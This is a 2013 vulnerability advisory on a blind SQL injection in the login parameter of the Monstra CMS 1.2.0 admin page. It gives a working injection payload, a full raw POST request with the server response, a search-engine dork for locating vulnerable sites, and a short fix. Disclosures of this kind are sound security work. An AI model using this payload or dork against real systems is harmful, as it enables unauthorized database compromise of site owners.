Monstra CMS 1.2.0 Blind SQL Injection

`Title:  
======  
Monstra CMS v1.2.0 - Blind SQL Injection Vulnerability  
  
  
Date:  
=====  
2013-09-20  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=1081  
  
  
VL-ID:  
=====  
1081  
  
  
Common Vulnerability Scoring System:  
====================================  
8.7  
  
  
Introduction:  
=============  
Monstra is a simple and light-weighted Content Management System written in PHP! A Content Management System (CMS) is a software that   
allows publishing, editing and modifying content on your Web site. Content Management System provide procedures to manage workflow in   
a collaborative environment.  
  
- Small business Web sites  
- Personal or family homepages  
- School and church Web sites  
  
(Copy of the Vendor Homepage: http://monstra.org/about )  
  
  
Abstract:  
=========  
An independent vulnerability laboratory researcher (linc0ln.dll) discovered a blind sql injection web vulnerability in the Monstra v1.2.0 CMS.  
  
  
Report-Timeline:  
================  
2013-09-20: Public Disclosure (linc0ln.dll)  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Sergey Romanenko  
Product: Monstra Content Management System 1.2.0  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
A blind SQL Injection web vulnerability is detected in the official Monstra v1.2.0 Content Management System.  
The vulnerability allows remote attackers to inject own sql commands to compromise the vulnerable application dbms.  
  
The blind sql injection web vulnerability is located in the login submit (POST) module. Attackers are able to inject   
own sql commands by manipulation of the the `login id` parameter.   
  
Exploitation of the blind sql vulnerability does not require user interaction or a privileged application user account.  
Successful exploitation of the sql injection vulnerability results in database management system & application compromise.  
  
Vulnerable Module(s):  
[+] Admin Auth (./admin)  
  
Vulnerable Parameter(s):  
[+] login  
  
  
Proof of Concept:  
=================  
The blind sql injection web vulnerability can be exploited by remote attackers without privileged application user account   
and user interaction. For demonstration or reproduce ...  
  
Example: POST  
login=[SQL INJECTION]&login_submit=Enter&password=[x]   
  
PoC: POST  
login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll  
  
  
POST Request:  
POST /admin/ HTTP/1.1  
Content-Length: 72  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Cookie: PHPSESSID=f6bd4782f77e4027d3975d32c414a36d  
Host: XXX  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)  
Accept: */*  
login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll  
  
Server Response:  
HTTP/1.1 200 OK  
Date: Thu, 19 Sep 2013 14:27:25 GMT  
Server: Apache  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Vary: Accept-Encoding,User-Agent  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Content-Length: 4456  
  
  
Goole Dork(s): "Powered by Monstra 1.2.0"  
  
  
Solution:  
=========  
The vulnerability can be patched by a secure escaping the login input via POST request method.  
Also use a prepared statement to clean up the vulnerable code section.  
  
  
Risk:  
=====  
The security risk of the remote blind sql injection web vulnerability is estimated as critical.  
  
  
Credits:  
========  
Independent Vulnerability Researcher - linc0ln.dll  
  
  
Disclaimer:  
===========  
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